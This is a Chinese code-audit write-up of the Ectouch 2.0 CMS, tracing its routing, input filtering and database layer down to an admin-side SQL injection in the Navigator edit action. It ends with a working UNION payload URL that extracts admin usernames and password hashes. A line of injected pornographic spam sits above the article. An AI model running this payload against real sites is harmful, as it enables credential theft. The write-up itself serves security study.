引導文件bootstrap.php->urlRoute()路由解析->dispatc()路由調度,為了方便理解,我在這里分析下路由(這里有兩種模式),因為一般模式mvc都會用/index.php?m=admin&c=index&a=index,所以在這里分析兼容模式下路由規則:" />

压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Ectouch2.0 分析解讀代碼審計流程

0x1 目錄結構

顯示目錄結構:tree -L 2 -C -d

├── _docs
├── admin //默認后臺目錄
│   ├── help
│   ├── images
│   ├── includes
│   ├── js
│   ├── styles
│   └── templates
├── api
│   └── notify
├── data //靜態資源和系統緩存、配置目錄
│   ├── assets //靜態資源目錄    
│   ├── attached //附件目錄
│   ├── backup //備份目錄
│   ├── caches //緩存目錄
│   ├── captcha //驗證碼圖片
│   ├── certificate //驗證
│   ├── codetable
│   ├── ipdata
│   ├── migrates
│   ├── print
│   ├── session
│   ├── sqldata
│   └── template
├── include //核心目錄
│   ├── apps //主程序(模塊目錄)
│   ├── base //基礎程序
│   ├── classes //類文件
│   ├── config //配置文件
│   ├── helpers //助手函數
│   ├── languages //語言包
│   ├── libraries //主類庫
│   ├── modules //模塊
│   └── vendor //第三方擴展類
├── install //安裝模塊
│   ├── sqldata
│   └── templates
├── plugins //插件程序目錄
│   ├── connect
│   ├── editor
│   ├── integrates
│   ├── payment
│   ├── shipping
│   └── wechat
└── themes //系統默認模版目錄
    └── ecmoban_zsxn

參考鏈接:

ectouch第二講之 文件結構

這樣就可以確定重點是:include?文件夾

0x2 路由分析

入口文件index.php->引導文件bootstrap.php->urlRoute()路由解析->dispatc()路由調度

為了方便理解,我在這里分析下路由(這里有兩種模式)

因為一般模式mvc都會用

/index.php?m=admin&c=index&a=index

所以在這里分析兼容模式下路由規則:

26-24 lines

        $varPath        =   C('VAR_PATHINFO');//c函數是獲取配置參數的值
        $varModule      =   C('VAR_MODULE');
        $varController  =   C('VAR_CONTROLLER');
        $varAction      =   C('VAR_ACTION');
        $urlCase        =   C('URL_CASE_INSENSITIVE');
        if(isset($_GET[$varPath])) { // 判斷URL里面是否有兼容模式參數
            $_SERVER['PATH_INFO'] = $_GET[$varPath]; //獲取r=xx的內容給$_SERVER['PATH_INFO']
            unset($_GET[$varPath]); //釋放變量
        }

41-59 lines

        $depr = C('URL_PATHINFO_DEPR'); //兼容模式分隔符 r
        define('MODULE_PATHINFO_DEPR',  $depr);    

        if(empty($_SERVER['PATH_INFO'])) {
            $_SERVER['PATH_INFO'] = '';
            define('__INFO__','');
            define('__EXT__','');
        }else{
            define('__INFO__',trim($_SERVER['PATH_INFO'],'/')); //去除多余的/
            // URL后綴
            define('__EXT__', strtolower(pathinfo($_SERVER['PATH_INFO'],PATHINFO_EXTENSION))); //獲取文件后綴之后的內容
            $_SERVER['PATH_INFO'] = __INFO__; 
            if (__INFO__ && !defined('BIND_MODULE') && C('MULTI_MODULE')){ // 獲取模塊名
                $paths      =   explode($depr,__INFO__,2);//切割__INFO__
                $module     =   preg_replace('/.' . __EXT__ . '$/i', '',$paths[0]);//處理后綴
                $_GET[$varModule]       =   $module;
                $_SERVER['PATH_INFO']   =   isset($paths[1])?$paths[1]:'';
            }                   
        }

62-67 lines

         define('_PHP_FILE_', rtrim($_SERVER['SCRIPT_NAME'],'/'));//當前腳本文件目錄 
        define('__SELF__',strip_tags($_SERVER[C('URL_REQUEST_URI')]));//URI(path+fragment)
        // 獲取模塊名稱
        define('APP_NAME', defined('BIND_MODULE')? strtolower(BIND_MODULE) : self::getModule($varModule)); //getModule函數得到模塊名 APP_NAME定義
        C('_APP_NAME', APP_NAME);

為了方便理解我繼續跟進getModule函數

     */
    static private function getModule($var) { 
        $module = (!empty($_GET[$var])?$_GET[$var]:DEFAULT_APP); //前面處理的結果
        unset($_GET[$var]);//釋放變量
        if($maps = C('URL_MODULE_MAP')) { //模塊映射規則 默認跳過
            if(isset($maps[strtolower($module)])) {
                // 記錄當前別名
                define('MODULE_ALIAS',strtolower($module));
                // 獲取實際的模塊名
                return ucfirst($maps[MODULE_ALIAS]);
            }elseif(array_search(strtolower($module),$maps)){
                // 禁止訪問原始模塊
                return   '';
            }
        }
        return strip_tags(strtolower($module)); //返回模塊名
    }

70-86 lines

        if( APP_NAME && is_dir(APP_PATH.APP_NAME)){
            // 定義當前模塊路徑
            define('MODULE_PATH', APP_PATH.APP_NAME.'/');

            // 加載模塊配置文件
            if(is_file(MODULE_PATH.'config/config.php'))
                C(load_config(MODULE_PATH.'config/config.php'));

            // 加載模塊函數文件
            if(is_file(MODULE_PATH.'helpers/function.php'))
                include MODULE_PATH.'helpers/function.php';

            // 加載模塊的擴展配置文件
            load_ext_file(MODULE_PATH);
        }else{
            E('模塊不存在:'.APP_NAME);
        }
這個作者的注釋很明白 就是MODULE_PATH ->模塊目錄 + APP_NAME  ->模塊名

107-150 lines

if('' != $_SERVER['PATH_INFO'] && (!C('URL_ROUTER_ON') ||  !Route::check()) ){   // 檢測路由規則 如果沒有則按默認規則調度URL

            // 去除URL后綴
            $_SERVER['PATH_INFO'] = preg_replace(C('URL_HTML_SUFFIX')? '/.('.trim(C('URL_HTML_SUFFIX'),'.').')$/i' : '/.'.__EXT__.'$/i', '', $_SERVER['PATH_INFO']);

            $depr   =   C('URL_PATHINFO_DEPR'); //'-'
            $paths  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr)); 

            if(!defined('BIND_CONTROLLER')) {// 獲取控制器
                if(C('CONTROLLER_LEVEL')>1){// 控制器層次 
                    $_GET[$varController]   =   implode('/',array_slice($paths,0,C('CONTROLLER_LEVEL')));
                    $paths  =   array_slice($paths, C('CONTROLLER_LEVEL'));
                }else{
                    $_GET[$varController]   =   array_shift($paths); //取第一個作為控制器
                }
            }
            // 獲取操作
            if(!defined('BIND_ACTION')){
                $_GET[$varAction]  =   array_shift($paths); //數組第二個為操作
            }
            // 解析剩余的URL參數
            $var = array(); //空
            if(C('URL_PARAMS_BIND') && 1 == C('URL_PARAMS_BIND_TYPE')){
                $var = $paths; // URL參數按順序綁定變量
            }else{
                preg_replace_callback('/(w+)/([^/]+)/', function ($match) use (&$var) {
                    $var[$match[1]] = strip_tags($match[2]);
                }, implode('/', $paths));
            }
            $_GET = array_merge($var,$_GET);  //合并變量
        }
        // 獲取控制器和操作名
        define('CONTROLLER_NAME',   defined('BIND_CONTROLLER')? BIND_CONTROLLER : self::getController($varController,$urlCase)); 
        define('ACTION_NAME',       defined('BIND_ACTION')? BIND_ACTION : self::getAction($varAction,$urlCase));

        // 當前控制器的UR地址
        $controllerName    =   defined('CONTROLLER_ALIAS')? CONTROLLER_ALIAS : CONTROLLER_NAME;
        define('__CONTROLLER__',__MODULE__.$depr.(defined('BIND_CONTROLLER')? '': ( $urlCase ? parse_name($controllerName) : $controllerName )) );

        // 當前操作的URL地址
        define('__ACTION__',__CONTROLLER__.$depr.(defined('ACTION_ALIAS')?ACTION_ALIAS:ACTION_NAME));

        //保證$_REQUEST正常取值
        $_REQUEST = array_merge($_POST,$_GET);

簡單跟進getController?getAction

和前面一樣重點是

$controller = (!empty($_GET[$var])? $_GET[$var]:DEFAULT_CONTROLLER);

$action = !empty($_POST[$var]) ? $_POST[$var] : (!empty($_GET[$var])?$_GET[$var]:DEFAULT_ACTION);

沒有映射規則就直接返回上面處理好的變量值了。

所以說這個Dispatcher.php文件主要作用是獲取然后定義了三個變量:

APP_NAME?模塊名

CONTROLLER_NAME?控制器名

ACTION_NAME?動作名

然后回到調用路由的頁面boostrap.php引導頁面

向下讀就知道是怎么利用變量上面進行路由調用。

urlRoute(); //這里是上面調用的路由調度

try {
    /* 常規URL */
    defined('__HOST__') or define('__HOST__', get_domain());
    defined('__ROOT__') or define('__ROOT__', rtrim(dirname($_SERVER["SCRIPT_NAME"]), '\/')); 
    defined('__URL__') or define('__URL__', __HOST__ . __ROOT__);//地址欄url
    defined('__ADDONS__') or define('__ADDONS__', __ROOT__ . '/plugins');
    defined('__PUBLIC__') or define('__PUBLIC__', __ROOT__ . '/data/assets');
    defined('__ASSETS__') or define('__ASSETS__', __ROOT__ . '/data/assets/' . APP_NAME);
    /* 安裝檢測 */
    if (! file_exists(ROOT_PATH . 'data/install.lock')) {
        header("Location: ./install/");
        exit();
    }
    /* 控制器和方法 */
    $controller = CONTROLLER_NAME . 'Controller'; //這里傳入的控制器名字拼接了'Controller'
    $action = ACTION_NAME; //操作名字就是前面的操作名字
    /* 控制器類是否存在 */
    if (! class_exists($controller)) { 
        E(APP_NAME . '/' . $controller . '.class.php 控制器類不存在', 404);
    }
    $controller = class_exists('MY_'. $controller) ? 'MY_'. $controller : $controller;
    $obj = new $controller();
    /* 是否非法操作 */
    if (! preg_match('/^[A-Za-z](w)*$/', $action)) { //這里正則匹配過濾一下只能是字母
        E(APP_NAME . '/' . $controller . '.class.php的' . $action . '() 方法不合法', 404);
    }
    /* 控制器類中的方法是否存在 */
    if (! method_exists($obj, $action)) {
        E(APP_NAME . '/' . $controller . '.class.php的' . $action . '() 方法不存在', 404);
    }
    /* 執行當前操作 */
    $method = new ReflectionMethod($obj, $action);
    if ($method->isPublic() && ! $method->isStatic()) {
        $obj->$action();
    } else {
        /* 操作方法不是Public 拋出異常 */
        E(APP_NAME . '/' . $controller . '.class.php的' . $action . '() 方法沒有訪問權限', 404);
    }
} catch (Exception $e) {
    E($e->getMessage(), $e->getCode());
}

正常調用簡化下流程:$obj = new $controller();->?$obj->$action()?這樣就成功調用

0x0用例子總結一下調用規則:

http://127.0.0.1:8888/ecshop/upload/mobile/?r=admin-index-index

調用的是:

ecshop/upload/mobile/include/apps/admin/controllers/indexController?下的 index方法

但是class IndexController extends AdminController

又是AdminController的子類,然后一層層繼承,然后上層構造函數就會判斷訪問權限決定代碼是否能執行到這里。

0x3 了解系統參數與底層過濾情況

0x3.1 原生GET,POST,REQUEST

測試方法:

? 找個外部方法

image-20181230175517666

然后隨便傳遞值進去看看情況怎么樣,如果有過濾就重新跟一次

image-20181230180151205

可以看到過濾了?'?,還做了實體化處理

粗讀了入口文件,沒發現有獲取參數并且過濾地方,這個時候就可以跑去讀基類構造函數尋找定義了

include/apps/common/BaseController.class.php

    public function __construct() {
        parent::__construct();
        $this->appConfig = C('APP');
        if ($this->_readHtmlCache()) {
            $this->appConfig['HTML_CACHE_ON'] = false;
            exit;
        }
        $this->_initialize(); //跟進這里
        $this->_common();
        Migrate::init();
    }
    private function _initialize() {
        //初始化設置
        ............
        //對用戶傳入的變量進行轉義操作
        if (!get_magic_quotes_gpc()) {
            if (!empty($_GET)) {
                $_GET = addslashes_deep($_GET);
            }
            if (!empty($_POST)) {
                $_POST = addslashes_deep($_POST);
            }
            $_COOKIE = addslashes_deep($_COOKIE);
            $_REQUEST = addslashes_deep($_REQUEST);
     ..................
    }

//跟進addslashes_deep

function addslashes_deep($value) {
    if (empty($value)) {
        return $value;
    } else {
        return is_array($value) ? array_map('addslashes_deep', $value) ://遞歸過濾數組值  addslashes($value);
    }
}

Tips:

可以知道這里沒有過濾鍵值

0x3.2 系統外部變量獲取函數

I方法(tp框架):

/**
 * 獲取輸入參數 支持過濾和默認值
 * 使用方法:
 * <code>
 * I('id',0); 獲取id參數 自動判斷get或者post
 * I('post.name','','htmlspecialchars'); 獲取$_POST['name']
 * I('get.'); 獲取$_GET
 * </code>
 * @param string $name 變量的名稱 支持指定類型
 * @param mixed $default 不存在的時候默認值
 * @param mixed $filter 參數過濾方法
 * @param mixed $datas 要獲取的額外數據源
 * @return mixed
 */

簡單分析下代碼:

    static $_PUT = null;
    if (strpos($name, '/')) {
        // 指定修飾符
        list($name, $type) = explode('/', $name, 2);
    } elseif (C('VAR_AUTO_STRING')) {
        // 默認強制轉換為字符串
        $type = 's';
    }
    if (strpos($name, '.')) {
        // 指定參數來源
        list($method, $name) = explode('.', $name, 2); //post.id -> $method=post $name=id
    } else {
        // 默認為自動判斷
    ........................
                if (is_array($filters)) {
                foreach ($filters as $filter) {
                    $filter = trim($filter);
                    if (function_exists($filter)) {
                        $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 參數過濾
                    } else {
                        $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
                        if (false === $data) {
                            return isset($default) ? $default : null;
                        }
                    }
                }
            }
        }

       ..................

function array_map_recursive($filter, $data)
{
    $result = array();
    foreach ($data as $key => $val) {
        $result[$key] = is_array($val)
            ? array_map_recursive($filter, $val)
            : call_user_func($filter, $val); //調用傳遞進來的函數過濾 默認是htmlspecialchars
    }
    return $result;
}

tips:

前面已經的得知原生已經被過濾,所以這個肯定被過濾了,但是如果調用stripslashes?函數來獲取的話,

就有可能存在注入

Ex:

$c = I('POST.','','stripslashes');

0x3.3 查看系統DB類,了解數據庫底層運行方式

由:include/apps/common/BaseController.class.php


        //創建 ECSHOP 對象
        self::$ecs = new EcsEcshop(C('DB_NAME'), C('DB_PREFIX'));
        //初始化數據庫類
        self::$db = new EcsMysql(C('DB_HOST'), C('DB_USER'), C('DB_PWD'), C('DB_NAME'));

確定了EcsMysql類是系統的DB類

跟進include/base/drivers/db/EcsMysql.class.php

這里簡單分析下運行原理:

private function _connect($is_master = true) {
          ...............................
        foreach ($db_all as $db) {
            $mysqli = @new mysqli($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD'], $db['DB_NAME'], $db['DB_PORT']); //這里是生成原生的mysqli數據庫對象
            if ($mysqli->connect_errno == 0) {
                break;
            }
        }

        if ($mysqli->connect_errno) {
            $this->error('無法連接到數據庫服務器', $mysqli->connect_error, $mysqli->connect_errno);
        }
        //設置編碼
        $mysqli->query("SET NAMES {$db['DB_CHARSET']}"); //設置了utf-8編碼
        $mysqli->query("SET sql_mode=''");
        return $mysqli;
    }

這個_connect方法用于連接數據庫然后返回數據庫類對象

    //獲取從服務器連接
    private function _getReadLink() {
        if (isset($this->_readLink)) { //$this->_readLink)初始為空 
            return $this->_readLink;
        } else {
            if (!$this->_replication) { 
                return $this->_getWriteLink();
            } else {
                $this->_readLink = $this->_connect(false); //這里獲取了對象
                return $this->_readLink;//返回對象
            }
        }
    }

    //獲取主服務器連接
    private function _getWriteLink() {
        if (isset($this->_writeLink)) {
            return $this->_writeLink;
        } else {
            $this->_writeLink = $this->_connect(true);//同理
            return $this->_writeLink; 
        }
    }

_getReadLink()?_getWriteLink?我沒仔細去讀,涉及到多個數據庫調度的問題,但是他們的功能

都是獲取$this->_connect(true) 返回的數據庫對象

了解了上面的方法,那么就可以分析下面封裝的函數了。

這里主要看幾種查詢方法:

分析下query方法,其他都差不多了

  //執行sql查詢   
    public function query($sql, $params = array()) {
        foreach ($params as $k => $v) {
            $sql = str_replace(':' . $k, $this->escape($v), $sql);//跟進下當前類下的escape
        } //這里做了個替換:id->id 
        $this->sql = $sql;
        if ($query = $this->_getReadLink()->query($sql)) //這里進入了底層查詢
            return $query;
        else
            $this->error('MySQL Query Error', $this->_getReadLink()->error, $this->_getReadLink()->errno); //獲取錯誤信息
    }
    public function escape($value) {
        if (isset($this->_readLink)) {
            $mysqli = $this->_readLink;
        } elseif (isset($this->_writeLink)) {
            $mysqli = $this->_writeLink;
        } else {
            $mysqli = $this->_getReadLink();
        }
        //以上都是為了生成$mysqli對象

        if (is_array($value)) { //如果是數組
            return array_map(array($this, 'escape'), $value); //對數組鍵值進行遞歸調用當前函數
        } else {
            if (get_magic_quotes_gpc()) {
                $value = stripslashes($value); //php5.4 gpc廢除
            }
            return "'" . $mysqli->real_escape_string($value) . "'";//過濾掉sql的特殊字符'"等
        }
    }

然后分析下返回的結果:

    public function fetchArray($query, $result_type = MYSQLI_ASSOC) {
        return $this->unEscape($query->fetch_array($result_type));
    }

這里調用了unEscape->stripslashes去除了轉義

public function getFields($table)

public function count($table, $where)

這兩個函數參數都直接拼接了sql語句

這里在分析下解析添加數據和where的方法

    //解析待添加或修改的數據
    public function parseData($options, $type) {
        //如果數據是字符串,直接返回
        if (is_string($options['data'])) {
            return $options['data'];
        } 
        if (is_array($options) && !empty($options)) {//對數組進行處理
            switch ($type) {
                case 'add':
                    $data = array(); //新建一個數組
                    $data['fields'] = array_keys($options['data']);//獲取鍵名
                    $data['values'] = $this->escape(array_values($options['data']));//獲取過濾的鍵值
                    return " (`" . implode("`,`", $data['fields']) . "`) VALUES (" . implode(",", $data['values']) . ") "; //拼接update語句
                case 'save':
                    $data = array();
                    foreach ($options['data'] as $key => $value) {
                        $data[] = " `$key` = " . $this->escape($value);
                    }
                    return implode(',', $data);
                default:return false;
            }
        }
        return false;
    }

這里可以知道沒有對鍵值進行處理,所以如果可以控制insert?and?update?鍵值就可以進行注入。

    public function parseCondition($options) {
        $condition = "";
        if (!empty($options['where'])) {
            $condition = " WHERE ";
            if (is_string($options['where'])) {
                $condition .= $options['where']; //如果是字符串直接拼接
            } else if (is_array($options['where'])) {
                foreach ($options['where'] as $key => $value) {
                    $condition .= " `$key` = " . $this->escape($value) . " AND ";
                }
                $condition = substr($condition, 0, -4);
            } else {
                $condition = "";
            }
        }

        if (!empty($options['group']) && is_string($options['group'])) {
            $condition .= " GROUP BY " . $options['group'];
        }
        if (!empty($options['having']) && is_string($options['having'])) {
            $condition .= " HAVING " . $options['having']; //直接拼接
        }
        if (!empty($options['order']) && is_string($options['order'])) {
            $condition .= " ORDER BY " . $options['order'];//直接拼接
        }
        if (!empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit']))) {
            $condition .= " LIMIT " . $options['limit'];
        }
        if (empty($condition))
            return "";
        return $condition;
    }

這里可以看出來?group having order limit where?內容如果可控,那么就會產生注入

后面單獨寫了model類繼承數據庫驅動類來簡化操作,所以分析幾個點來了解

首先是控制器的基類實例化了model類:

upload/mobile/include/apps/common/controllers/Controller.class.php

class Controller {

    protected $model = NULL; // 數據庫模型
    protected $layout = NULL; // 布局視圖
    private $_data = array();

    public function __construct() {
        $this->model = model('Base')->model; //實例話model類
        $this->cloud = Cloud::getInstance();

然后跟進model的定義和聲明:

EcModel.class.php

    public function __construct($config = array()) {
        $this->config = array_merge(C('DB'), $config); //參數配置    
        $this->options['field'] = '*'; //默認查詢字段
        $this->pre = $this->config['DB_PREFIX']; //數據表前綴
        $this->connect();
    }

    /**
     * 連接數據庫
     */
    public function connect() {
        $dbDriver = 'Ec' . ucfirst($this->config['DB_TYPE']);
        require_once( dirname(__FILE__) . '/drivers/db/' . $dbDriver . '.class.php' );
        $this->db = new $dbDriver($this->config); //實例化數據庫驅動類      
    }

這里可以看到實例化了數據庫驅動類->$this->db

Model.class.php

class Model {

    public $model = NULL;
    protected $db = NULL;
    protected $pre = NULL;
    protected $table = "";
    protected $ignoreTablePrefix = false;

    public function __construct($database = 'DB', $force = false) {
        $this->model = self::connect(C($database), $force);
        $this->db = $this->model->db; //數據庫驅動類的實例
        $this->pre = $this->model->pre;
    }

    static public function connect($config, $force = false) {
        static $model = NULL;
        if ($force == true || empty($model)) {
            $model = new EcModel($config);
        }
        return $model;
    }

$model = new EcModel($config);->$this->model

model的調用方式了解下就可以分析下如何進行sql操作的了:

    public function query($sql, $params = array(), $is_query = false) {
        if (empty($sql))
            return false;
        $sql = str_replace('{pre}', $this->pre, $sql); //表前綴替換
        $this->sql = $sql;
        if ($this->queryCount++ <= 99)
        {
            $this->queryLog[] = $sql;
        }
        if ($this->queryTime == '') {
            if (PHP_VERSION >= '5.0.0') {
                $this->queryTime = microtime(true);
            } else {
                $this->queryTime = microtime();
            }
        }
        //判斷當前的sql是否是查詢語句
        if ($is_query || stripos(trim($sql), 'select') === 0) {
            $data = $this->_readCache();
            if (!empty($data)){
                return $data;
            }
            $query = $this->db->query($this->sql, $params);//調用數據庫驅動實例查詢
            while ($row = $this->db->fetchArray($query)) {
                $data[] = $row;
            }
            if (!is_array($data)) {
                $data = array();
            }
            $this->_writeCache($data);
            return $data;
        } else {
            return $this->db->execute($this->sql, $params); //不是查詢條件,直接執行
        }
    }

0x4 系統情況初步集合

xss漏洞不能帶入單引號,原生全局變量可以帶入雙引號可能導致注入漏洞

'DEBUG' => false, // 是否開啟調試模式,true開啟,false關閉

主要是全局的addslashes過濾,底層是escape過濾參數query過濾了特殊字符,還用單引號括起來,基本不可能默認關閉debug,所以沒有報錯注入,考慮盲注,聯合注入但是可以考慮鍵值、二次注入和order等的注入。

其他漏洞xml,上傳,包含,命令執行,文件讀取、文件刪除等這個可以通過搜索關鍵字進行逆向分析邏輯漏洞、越權針對功能點,分析權限分配規則等

0x5 前臺注入

.
├── AboutController.class.php
├── ActivityController.class.php
├── AfficheController.class.php
├── ApiController.class.php
├── ArticleController.class.php
├── AuctionController.class.php
├── BrandController.class.php
├── CategoryController.class.php
├── CommentController.class.php
├── CommonController.class.php
├── ExchangeController.class.php
├── FlowController.class.php
├── GoodsController.class.php
├── GroupbuyController.class.php
├── IndexController.class.php
├── OauthController.class.php
├── PublicController.class.php
├── RespondController.class.php
├── SmsController.class.php
├── SnatchController.class.php
├── TopicController.class.php
├── UserController.class.php
├── WechatController.class.php
└── WholesaleController.class.php

?我花了差不多兩個小時,一個一個控制器,一個一個model類地去看,可能是我太菜了

發現可控參數要么被intval掉,要么就是在model類被單引號括起來,也沒找到啥可以繞過的函數,

這里沒有審計出前臺注入可能讓大家失望了,但是考完試我會繼續通讀、細讀代碼,尋找到前臺注入。

在這里,強烈跪求大師傅,可以審計下這個cms,然后指點下我該如何下手。

0x6 后臺Navigator id union 注入

前臺沒希望,但是如果一個洞都沒找到那么這個文章的價值就很難體現出來了

于是隨手點了個后臺控制器mobile/include/apps/admin/controllers/NavigatorController.class.php

結果拖著看看就發現了明顯的注入點,后臺應該還有其他注入點,但是我感覺后臺注入真的雞肋,這里為了更好的理解程序的運行原理,我就決定分析一波sql語句入庫過程對應上面的分析

下面分析操作主要是model類:upload/mobile/include/apps/common/models/BaseModel.class.php

//68 Lines

 public function edit() {
        $id = I('id'); //通過$_GET傳遞id的值可控
        if (IS_POST) { //跳過
                ...............
        }
        //查詢附表信息           
        $result = $this->model->table('touch_nav')->where('id=' . $id)->find(); //注入點
        /* 模板賦值 */
        $this->assign('info', $result);
        $this->assign('ur_here', L('navigator'));
        $this->assign('action_link', array('text' => L('go_list'), 'href' => url('index')));
        $this->display();
    }

where('id=' . $id)?這里很明顯沒有用單引號括起來,直接拼接變量

又因為是where后的所以可以導致聯合查詢。

這里跟進下流程:

$this->model->table('touch_nav')

    public function table($table, $ignorePre = false) {
        if ($ignorePre) { //跳過
            $this->options['table'] = $table;
        } else {
            $this->options['table'] = $this->config['DB_PREFIX'] . $table;
        }
        return $this;
    }

這里主要設置了$this->options['table']值,然后返回$this?去調用where方法

$this->where('id=' . $id)?跟進:

因為where方法不存在,調用__call構造函數,分析一波

    public function __call($method, $args) { 
        $method = strtolower($method);  //小寫
        if (in_array($method, array('field', 'data', 'where', 'group', 'having', 'order', 'limit', 'cache'))) { //$method='where' 滿足
            $this->options[$method] = $args[0]; //接收數據
            if ($this->options['field'] == '')
                $this->options['field'] = '*';
            return $this; //返回對象,連貫查詢
        } else {
            throw new Exception($method . '方法在EcModel.class.php類中沒有定義');
        }
    }

可以看到主要是$args[0賦值給$this->options[$method]

($args='id=' . $id注入內容, $method='where'?)

然后繼續返回了對象$this->find()

    public function find() {
        $this->options['limit'] = 1; //限制只查詢一條數據
        $data = $this->select(); //開始進入查詢
        return isset($data[0]) ? $data[0] : false;
    }

可以看到前面操作主要是把條件賦值給$this->options數組

$data = $this->select();進入查詢,選擇跟進

    public function select() {
        $table = $this->options['table']; //當前表
        $field = $this->options['field']; //查詢的字段
        $where = $this->_parseCondition(); //條件
        return $this->query("SELECT $field FROM $table $where", array(), true);
    }

這里有個$where = $this->_parseCondition();?這個解析條件的函數上面沒分析,這里選擇分析一波,跟進

    private function _parseCondition() {
        $condition = $this->db->parseCondition($this->options);
        $this->options['where'] = '';
        $this->options['group'] = '';
        $this->options['having'] = '';
        $this->options['order'] = '';
        $this->options['limit'] = '';
        $this->options['field'] = '*';
        return $condition;
    }

這里就回到了我們開始講的數據庫驅動類實例$this->db->parseCondition

上面分析過了,字符串直接進行拼接,然后返回正常的where條件寫法 exwhere id=1

繼續分析$this->query("SELECT $field FROM $table $where", array(), true);

     */
    public function query($sql, $params = array(), $is_query = false) {
        if (empty($sql))
            return false;
        $sql = str_replace('{pre}', $this->pre, $sql); //表前綴替換
        $this->sql = $sql;
        if ($this->queryCount++ <= 99)
        {
            $this->queryLog[] = $sql;
        }
        if ($this->queryTime == '') {
            if (PHP_VERSION >= '5.0.0') {
                $this->queryTime = microtime(true);
            } else {
                $this->queryTime = microtime();
            }
        }
        //判斷當前的sql是否是查詢語句
        if ($is_query || stripos(trim($sql), 'select') === 0) {
            $data = $this->_readCache();
            if (!empty($data)){
                return $data;
            }
            $query = $this->db->query($this->sql, $params);
            while ($row = $this->db->fetchArray($query)) {
                $data[] = $row;
            }
            if (!is_array($data)) {
                $data = array();
            }
            $this->_writeCache($data);
            return $data;
        } else {
            return $this->db->execute($this->sql, $params); //不是查詢條件,直接執行
        }
    }

分析過了?query查詢了,$query = $this->db->query($this->sql, $params);?進入數據庫驅動類實例,這個前面也分析過了,字符串直接進入原生查詢,這里就知道完整入庫了。

關于利用(如果后臺注入還需要盲注那真的太low了):

$this->assign('info', $result);?這里把sql查詢的結果反回來了,跟進

    protected function assign($name, $value) {
        return $this->tpl()->assign($name, $value);
    }

$this->tpl()->assign

    public function assign($name, $value = '') {
        if (is_array($name)) {
            foreach ($name as $k => $v) {
                $this->vars[$k] = $v;
            }
        } else {
            $this->vars[$name] = $value;
        }
    }

設置了$this->vars[$name]

        /* 模板賦值 */
        $this->assign('info', $result);
        $this->assign('ur_here', L('navigator'));
        $this->assign('action_link', array('text' => L('go_list'), 'href' => url('index')));
        $this->display();

這里想看如何渲染模版,跟進$this->display();

    protected function display($tpl = '', $return = false, $is_tpl = true) {
        if ($is_tpl) {
            $tpl = empty($tpl) ? strtolower(CONTROLLER_NAME . '_' . ACTION_NAME) : $tpl;
            if ($is_tpl && $this->layout) {
                $this->__template_file = $tpl;
                $tpl = $this->layout;
            }
        }
        $this->tpl()->config ['TPL_TEMPLATE_PATH'] = BASE_PATH . 'apps/' . C('_APP_NAME') . '/view/';
        $this->tpl()->assign($this->_data);
        return $this->tpl()->display($tpl, $return, $is_tpl);
    }

然后進入:

 public function display($tpl = '', $return = false, $is_tpl = true) {
        //如果沒有設置模板,則調用當前模塊的當前操作模板
        if ($is_tpl && ($tpl == "") && (!empty($_GET['_module'])) && (!empty($_GET['_action']))) {
            $tpl = $_GET['_module'] . "/" . $_GET['_action'];
        }
        if ($return) {
            if (ob_get_level()) {
                ob_end_flush();
                flush();
            }
            ob_start();
        }
        extract($this->vars, EXTR_OVERWRITE);
        if ($is_tpl && $this->config['TPL_CACHE_ON']) {
            define('ECTOUCH', true);
            $tplFile = $this->config['TPL_TEMPLATE_PATH'] . $tpl . $this->config['TPL_TEMPLATE_SUFFIX'];
            $cacheFile = $this->config['TPL_CACHE_PATH'] . md5($tplFile) . $this->config['TPL_CACHE_SUFFIX'];

            if (!file_exists($tplFile)) {
                throw new Exception($tplFile . "模板文件不存在");
            }
            //普通的文件緩存
            if (empty($this->config['TPL_CACHE_TYPE'])) {
                if (!is_dir($this->config['TPL_CACHE_PATH'])) {
                    @mkdir($this->config['TPL_CACHE_PATH'], 0777, true);
                }
                if ((!file_exists($cacheFile)) || (filemtime($tplFile) > filemtime($cacheFile))) {
                    file_put_contents($cacheFile, "<?php if (!defined('ECTOUCH')) exit;?>" . $this->compile($tpl)); //寫入緩存
                }
                include( $cacheFile ); //加載編譯后的模板緩存
            } else {
                //支持memcache等緩存
                $tpl_key = md5(realpath($tplFile));
                $tpl_time_key = $tpl_key . '_time';
                static $cache = NULL;
                $cache = is_object($cache) ? $cache : new EcCache($this->config, $this->config['TPL_CACHE_TYPE']);
                $compile_content = $cache->get($tpl_key);
                if (empty($compile_content) || (filemtime($tplFile) > $cache->get($tpl_time_key))) {
                    $compile_content = $this->compile($tpl);
                    $cache->set($tpl_key, $compile_content, 3600 * 24 * 365); //緩存編譯內容
                    $cache->set($tpl_time_key, time(), 3600 * 24 * 365); //緩存編譯內容
                }
                eval('?>' . $compile_content);
            }
        } else {
            eval('?>' . $this->compile($tpl, $is_tpl)); //直接執行編譯后的模板
        }

        if ($return) {
            $content = ob_get_contents();
            ob_end_clean();
            return $content;
        }
    }

extract($this->vars, EXTR_OVERWRITE);?這里開始生成符號表的變量,然后進入編譯,然后匹配替換掉模版的值

然后你去模版看看navigator_edit.html?查看相應的變量

              <input type='text' name='data[name]' maxlength="20" value='{$info['name']}' class="form-control input-sm" />
            </div></td>
        </tr>
        <tr>
          <td>{$lang['item_url']}:</td>
          <td><div class="col-md-4">
              <input type='text' name='data[url]' maxlength="100" value='{$info['url']}' class="form-control input-sm" />

這里的變量就會被返回結果給替換掉。

模版渲染原理有點大塊頭,后面如果挖掘代碼注入之類的,我再進行詳細的解讀。

0x6.1 如何利用

select * from ecs_touch_nav where id=1?可以知道有10列,直接構造

http://127.0.0.1:8888/ecshop/upload/mobile/index.php?m=admin&c=navigator&a=edit&id=-1 union select 1,2,3,password,5,6,7,user_name,9,10 from ecs_admin_user

image-20190101032024790

mysql運行的語句是:

image-20190101032330000

到這里如果你還不理解,你就可以嘗試代入payload重新閱讀本菜雞的代碼。

0x7 感受

這里首先非常感謝phpoop師傅在先知發的文章讓我有了動力,去嘗試系統地審計一個cms,但是審計的過程也發現自己真的很菜,首先對tp框架不熟悉(代碼能力真的菜),對漏洞了解真的少,沒有那種感覺,不像師傅輕輕松松很容易發現前臺注入,代碼執行那種高危漏洞。

最后希望有師傅能指點下我的代碼審計,這也是我寫這個文章的初衷

